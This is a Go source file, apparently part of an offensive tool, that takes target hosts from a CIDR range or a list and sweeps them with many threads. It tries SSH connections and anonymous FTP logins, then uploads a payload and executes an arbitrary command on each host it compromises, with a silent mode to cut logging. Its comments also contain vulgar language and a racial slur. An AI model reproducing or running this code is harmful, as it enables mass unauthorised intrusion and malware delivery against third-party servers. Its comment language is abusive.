79 lines
1.9 KiB
Go
79 lines
1.9 KiB
Go
package common
|
|
|
|
// separate channel iterators per case might not look the prettiest, but performs better due to
|
|
// not checking Params.Mode after every addr is received and avoiding an extra cmp every cycle.
|
|
// form over function source code aestheticians can suck the skin off my dick. on chirp.
|
|
func thread(addrs <-chan string, tab chan<- interface{}) {
|
|
switch Params.Mode {
|
|
case 0: // ssh
|
|
for addr := range addrs {
|
|
if !ipexcluded(addr) {
|
|
if !Params.Silent {
|
|
info("trying ssh connection to " + addr)
|
|
}
|
|
if c, err := connssh(addr); err == nil {
|
|
success("connected to " + addr + " - " + string(c.ServerVersion()))
|
|
if Params.Payload != "" {
|
|
if err = loadpl(c); err == nil {
|
|
success("wrote payload to " + c.RemoteAddr().String())
|
|
}
|
|
}
|
|
if Params.Command != "" {
|
|
if err = runcmd(c, Params.Command); err == nil {
|
|
success("executed command on " + c.LocalAddr().String() + " as " + c.User())
|
|
}
|
|
}
|
|
c.Close()
|
|
}
|
|
}
|
|
}
|
|
default: // ftp
|
|
for addr := range addrs {
|
|
if !ipexcluded(addr) {
|
|
if !Params.Silent {
|
|
info("trying anonymous ftp connection to " + addr)
|
|
}
|
|
if c, err := connftp(addr); err == nil {
|
|
success("logged into " + addr + " as anonymous")
|
|
if err = uploadplftp(c); err == nil {
|
|
success("delivered payload to anonymous ftp server at " + addr)
|
|
}
|
|
c.Quit()
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
tab <- "hack the planet"
|
|
}
|
|
|
|
func Takeoff() {
|
|
// id die for my niggas
|
|
// i ride my niggas
|
|
// ride for*
|
|
pause()
|
|
|
|
addrs := make(chan string)
|
|
tab := make(chan interface{})
|
|
|
|
for x := 0; x < Params.Threads; x++ {
|
|
go thread(addrs, tab)
|
|
}
|
|
|
|
if Params.Cidr != "" {
|
|
if !cidrexcluded(Params.Cidr) {
|
|
lcgcidr(Params.Cidr, addrs)
|
|
} else {
|
|
fatal("provided cidr " + Params.Cidr + " is within an excluded range")
|
|
}
|
|
} else {
|
|
readlist(Params.Targets, addrs)
|
|
}
|
|
close(addrs)
|
|
|
|
for x := 0; x < Params.Threads; x++ {
|
|
<-tab
|
|
}
|
|
close(tab)
|
|
}
|